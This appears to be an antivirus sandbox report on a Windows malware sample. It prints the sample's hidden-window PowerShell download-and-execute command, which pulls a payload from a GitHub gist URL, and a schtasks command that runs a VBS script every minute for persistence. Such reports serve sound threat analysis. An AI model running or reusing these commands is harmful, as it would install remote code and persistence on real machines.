Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\taskwinme
Malicious functions
Downloads and executes
- https://gist.githubusercontent.com/elmatadoure1231/3579c318275088f06e5ad440c0714c35/raw/f75d3bf46ff01f73082602062ea9a9329bc4626c/pclient.txt as c:\users\public\videos\ + pclient.txt
Network activity
Connects to
- 'gi##.###hubusercontent.com':443
TCP
Other
- 'gi##.###hubusercontent.com':443
UDP
- DNS ASK gi##.###hubusercontent.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windo 1 -noexit -exec bypass (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/elmatadoure1231/3579c318275088f06e5ad440c0714c35/raw/f75d3bf46ff01f73082602062ea9a9329b...' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn Taskwinme /sc minute /st 00:30 /tr C:\Users\Public\Videos\starpro.vbs
- '<SYSTEM32>\taskeng.exe' {B42E615D-7282-4503-8DB4-9D3397FD9E7B} S-1-5-21-1960123792-2022915161-3775307078-1001:bebrxlrlbftc\user:Interactive:[1]
